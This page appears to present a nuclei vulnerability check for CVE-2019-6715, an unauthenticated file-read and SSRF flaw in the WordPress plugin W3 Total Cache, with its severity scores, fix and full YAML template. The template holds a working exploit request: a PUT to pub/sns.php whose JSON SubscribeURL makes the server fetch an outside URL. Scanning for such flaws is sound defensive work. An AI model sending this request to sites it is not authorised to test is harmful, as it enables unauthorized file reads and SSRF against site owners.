W3 Total Cache 0.9.2.6-0.9.3 - Unauthenticated File Read / Directory Traversal

highseverity

7.5CVSS score

19.4%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

WordPress plugin W3 Total Cache before version 0.9.4 allows remote attackers to read arbitrary files via the SubscribeURL field in SubscriptionConfirmation JSON data via pub/sns.php.

Impact

An unauthenticated attacker can read sensitive files or traverse directories on the target system, potentially leading to unauthorized access or information disclosure.

Fix

Update to the latest version of W3 Total Cache plugin (0.9.3 or higher) to mitigate the vulnerability.

How to confirm it

Send: PUT /wp-content/plugins/w3-total-cache/pub/sns.php
Positive when: contains "TmVzc3VzQ29kZUV4ZWNUZXN0"

Run it with nuclei: nuclei -id CVE-2019-6715 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2019-6715

info:
  name: W3 Total Cache 0.9.2.6-0.9.3 - Unauthenticated File Read / Directory Traversal
  author: randomrobbie
  severity: high
  description: |
    WordPress plugin W3 Total Cache before version 0.9.4 allows remote attackers to read arbitrary files via the SubscribeURL field in SubscriptionConfirmation JSON data via pub/sns.php.
  impact: |
    An unauthenticated attacker can read sensitive files or traverse directories on the target system, potentially leading to unauthorized access or information disclosure.
  remediation: |
    Update to the latest version of W3 Total Cache plugin (0.9.3 or higher) to mitigate the vulnerability.
  reference:
    - https://vinhjaxt.github.io/2019/03/cve-2019-6715
    - http://packetstormsecurity.com/files/160674/WordPress-W3-Total-Cache-0.9.3-File-Read-Directory-Traversal.html
    - https://nvd.nist.gov/vuln/detail/CVE-2019-6715
    - https://github.com/sobinge/nuclei-templates
    - https://github.com/random-robbie/cve-2019-6715
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-6715
    epss-score: 0.19396
    epss-percentile: 0.9738
    cpe: cpe:2.3:a:boldgrid:w3_total_cache:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: boldgrid
    product: w3_total_cache
    framework: wordpress
  tags: cve,cve2019,wordpress,wp-plugin,ssrf,packetstorm,intrusive,boldgrid,vuln

http:
  - raw:
      - |
        PUT /wp-content/plugins/w3-total-cache/pub/sns.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        {"Type":"SubscriptionConfirmation","Message":"","SubscribeURL":"https://rfi.nessus.org/rfi.txt"}

    matchers:
      - type: word
        part: body
        words:
          - TmVzc3VzQ29kZUV4ZWNUZXN0

References

Use this check only on systems you are authorised to test. Where the data comes from